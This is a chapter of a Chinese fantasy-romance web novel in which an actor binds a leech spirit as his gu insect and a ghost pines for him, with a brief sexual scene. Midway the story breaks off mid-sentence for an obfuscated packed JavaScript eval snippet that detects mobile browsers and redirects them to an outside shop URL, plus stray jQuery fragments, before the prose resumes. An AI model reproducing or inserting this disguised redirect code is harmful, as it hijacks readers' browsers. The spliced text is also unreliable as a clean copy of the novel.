21. 吻
作品:《见鬼!靠和男鬼做梦爆红了?》 “有人真心实意地爱着你,真好。”
文匙不知道他的爱指得是谁,是贺嵩吗,还是其他在他短暂生命里来来又回回的过客。
“爱有这么重要吗?”
“重要啊,当然重要。”马华点点头,“也不能说是爱,就是人类那点复杂着、纠葛着的情感吧。”
文匙:“这就是你夺舍了那么多人的原因?”
马华摆摆手,“无论你信不信,我只之前掠夺过两个人的身体。这是第三具。其他人只是寄生,没有我,他们早死了。”
马华手指指着窗外来来往往的村民,“如果没有我,他们现在都是一具尸体了,都是靠我分散出去的蛊虫强撑着。”
“所以呢,绕了这么打一个圈子,你也得到你想要的了吧。又说不想害我,那你想要的到底是什么。”
马华就这样直直的盯着他,像一只绵羊一样,眼里闪烁着无害的哀求,“让我成为你的蛊虫,好吗。”
蛊虫?
文匙嘴里喃喃这两个字,没有想到是这个答案。
没有任何一只妖怪会自愿成为蛊虫。成为蛊虫意味着失去自由,彻底把自己的生杀大权交给虫师。
蛊虫需要某种介质来激发凶性。
而至于是用恨还是痛苦来激发蛊虫的毒性就全凭蛊虫师的良心了。
文匙问他,眼睛里闪烁着不解,“为什么。”
马华脸上带着一点疲惫,“啊,我真的已经好累了呀。这么多年,可以算的是卧薪尝胆了吧。在这个小村庄里养精蓄锐这么多年,我本来以为复仇之后我会觉得很爽,但是好像并没有呢。”
“复仇完我的人生好像什么多没有了。空空的。”
“不知道到要去哪里,总是我不想再待在这个小村庄里过着暗无天日的日子了,我也想体会一下不同的人生啊。”
马华笑了一下:“谁不想当明星呢。万众瞩目。”
文匙倒是很干脆利落。
“我拒绝。”
掷地有声,像石头一样在空气中砸出阵阵尘埃。
马华睁大眼睛,这些年来也不少号称名门正派的弟子时不时来围剿他,为的就是把他练成蛊虫为门派所用,文匙不仅不感恩戴德,竟然还一副讨价还价的嫌弃样子。
“你别得了便宜又卖乖啊,多少人想要我都来不及呢。”
“帮助你那我能得到什么呢。”
“别人是别人的事情。别人靠打打杀杀,降妖驱魔活着,我不是。我不需要你。”
马华苦思冥想,从头到尾把自己的优点梳理了一遍,心里感觉非常耻辱。
自己什么时候变成了这种上赶着别人要的样子!
最后思来想去,马华终于想到了一个答案。
“你不想感受一下别人的人生吗。你做演员是因为那个在你身边的小鬼吧。”
马华声音很轻,带着诱惑的口吻:“我可以帮你,他们说,演员最好的状态就是不是扮演角色,而是成为角色,我可以让你直接感受他们,这不好吗。”
感受他们的人生吗……文匙好像确实需要。
对他来说。形形色色的人生好像太遥远,人没法真正的做法感同身受。
但如果能代入不同人的人生经历,不说之后的事情,至少现在的文匙需要这样一个契机帮他完成这部剧。
于是文匙开口,“可以,我同意。”
“你真正想要的是什么。”
马华愣了一下,然后轻轻笑了一声:“你很聪明,果然和其他人不一样。”
“没有人会无缘无故的把自己的底牌拱手让人。”文匙说。
“可惜啊,这世界上就是聪明的人最会装傻。”马华顶着陈子环的脸,却流露出与这具苍老身体截然不同的生气,“我想要的,是你不插手我之后对云霄观的事情。”
文匙低头短暂的思索了一下,问道:“有必要吗。不出意外,当年那些人已经死光了。”
马华冷笑一声,“当然有必要。他们当年踩在我身上把云霄观建起来,我现在也不过是拿回来我的东西而已。”
“随便你。”文匙抬眼看他一眼,“还有什么要做的,趁早说。”
马华见他答应的痛快,也不在多废话什么,只让文匙伸出指尖,随后一口咬上。
不像狩猎般要从对方身上撕下一块肉似的,马华咬得很轻柔,水蛭一族自带麻醉的功能,所以文匙没有感受到什么痛感。
眨眼间,马华巨大的身影缩小成拇指大的虫体,一滴血顺着文匙的指尖滴下来,被水蛭的虫体逐渐的吸收,直至整只虫子都变成了鲜红的颜色。
文匙感觉有一股很神奇的力量从指尖流淌进身体。
他低头看马华一眼,“结束了?”
马华摇摇肥胖的尾巴,身音带三角嘴震动的呜呜声,“结束了。现在我就是你的蛊虫了。”
文匙把马华从指尖上摘下来,放在地面上,动作不算轻柔,但也比之前好了不少。
“赶紧变回人样吧,这样还是太丑了。”
马华:……刚结约就这样是不是不太好。
但是马华也不是没从贺嵩的记忆里窥见一丝文匙的性格,与之相反的是,他对文匙的印象很好。
或许是透过贺嵩的眼睛,他看见的文匙比大多数人都要好。
虽然嘴巴很毒,但对自己认定的自己人会上心,会愿意牺牲自己,也不喜欢欠别人的。
这就已经足够了。马华想,这已经足够做一个主人了。
他一歪头,容貌很快变成陈子环的样子。
“这样可以了吧。”
文匙点点头,“可以。”
文匙看着外面悬挂在天空的月亮,月光照在文匙脸上,给他打下一点淡色的滤镜。
天快来亮了。
文匙:“明天怎么和那一圈导演和弟子说话,我想你应该比我更懂。”
他指指床头躺在地板的中年男人身体,“收拾好剩下的残局,至于云霄观那边,我会帮你解决。”
马华听这话,第一反应是好笑。他只要文匙和他身边那个鬼差不来打扰他就可以了,文匙年纪轻轻,马华也没指望文匙有这个能耐。
但是文匙的声音太笃定,让人忍不住的相信,就好像所有他想做的事情,世界上没有让你能组织。
于是马华只是点点头,“你说的,我相信你。”
文匙发出一声很淡的笑声,“好好休息。”
他转头关上了门,将今晚所有的波澜壮阔都停留在这一道门里。
马华的目光跟随着文匙的离开,最后停滞在这一扇小小的木门上。
马华脑里回忆着文匙说话时的冷淡侧颜,心里想,如果换作是五十年前,他或许也会和贺嵩一样爱上文匙。
一个看似永远拒人于千里之外的人,却愿意对你有一点格外的好,很难不让人误解为爱情。
即使他只是无心。
…………
天色还暗着,贺嵩一个人在床上辗转反侧,来来回回就是无法平静下来。
王蛋和小芸说出来找文匙,他原本想和他们一起去,却被王蛋拦了下来。
王蛋说,正常人伤不了文匙,不被文匙扇就好,他们出去是为了保护别人的安全。
不知道文匙今天情绪状态怎么样,等下万一大开杀戒他好直接收一波业绩,让贺嵩在屋子里等文匙回来就好。
贺嵩觉得王蛋说话还是有点夸张的成分,但是大体上是有道理的,于是也只能在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300129|197713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床上枯坐着。
贺嵩活着的时候睡眠甚好,几乎是一沾枕头就能睡着的人,做鬼之后没有睡觉的概念,夜里的时间便变得格外漫长。
所以他喜欢窝着文匙一起睡,想动物一样交换彼此的气息,只要看着文匙,也能让贺嵩觉得安心而有趣的多。
好像漫长的夜里也没那么难熬了。
贺嵩这样想着,荞麦面料的枕头上面还有些倒刺,轻轻摩擦着贺嵩的脸庞。
和痛没关系,但是就是这样若有若无,让贺嵩觉得痒痒的。
也不知道是脸上还是心里。
贺嵩突然想到高中的时候他和文匙参加班上的元旦晚会,老师规定每个小组必须要出一个节目。
文匙和贺嵩被眨这大眼睛的小组长要求演话剧里的男女主角。
贺嵩无所谓,但是他以为文匙不会愿意,但没想到文匙是个心软的,被小组长软磨硬泡,最后还是同意了。
虽然同意的是男主角,但是架不住赶鸭子上架,在晚会那天硬生生被套上了女装。
是那种很简单的素色的连衣裙,略带粗糙的假发垂在胸口,文匙长相本就清秀,骨架也不大,穿上女装也不违和,远远看上去只觉得是个高个子女孩。
贺嵩还记得那是个舞台剧,剧本是网上现找的,排练的也很粗糙,但是在那一天,贺嵩和文匙跳了人生中第一只舞。
同学在下面起哄,但是没带什么恶意,文匙也没生气,只是在其中一个舞步里轻轻踩了一下他的脚。
文匙的眼睛亮亮的,眼皮上还有亮晶晶的,由女同学涂上的粉红色的眼影。
文匙和他说,下一个元旦他可不会再表演了。
贺嵩低头看着他,笑着说好。
贺嵩回想着文匙可爱的、冷淡的、漂亮的或是疏离的面庞,手伸进了被子里。
他下意识环顾四周,怕有人回来。
但是门口的走廊灯还黑着,夜晚的村庄又安静的只能听见蝉的鸣叫声。
于是贺嵩继续手里的动作,任由自己在欲望的海洋里放纵。
“文匙,文匙。”
他情难自抑,发出轻声的呢喃。
文匙,嘴唇鼓起又左右拉开,短短两个音节,塞满了他八年的记忆。
他喊过这个名字好多好多次。
开心的,撒娇的,情难自抑的。
在教室,在操场,在被窝,还有无人的浴室。
贺嵩忍不住将自己塞进被子里。被子里有文匙的味道。
好香。令人心安的味道。带着一点淡淡的海盐的味道。
喜欢,喜欢文匙,喜欢文匙对他笑,喜欢文匙骂他,只要是文匙,一切都很好。
烟花在顶点绽放,人在美好的顶点又忍不住感到怅然。
他被自己塞进被子里,为自己做出的行为感到一丝愧怍。
贺嵩觉得文匙是世界上最好的人。
但文匙又很坏,让很多人爱上他,却一副并不知情的无辜样子。
他有时候很想看着他的眼睛,问文匙,你真的什么都不知道吗。
你难道不知道,我喜欢着你,我爱着你,我被你在每个夜晚折磨,我被你一个笑容就搞的天翻地覆,人仰马翻。
但是他从没有问出口。
他心里明白,如果不是这样,那他就不是文匙了。
暗恋是一个人的事情。
世界上没有一条规则上面写着,人是要为别人的喜爱而负责的。
暗恋是一个人的事情。没有人有资格让别人为自己的爱负责。
贺嵩把手轻轻的贴在嘴唇上,在指尖的缝隙落下一个吻。
只要在他身边就好,不要太贪心了。贺嵩。
他对自己说。

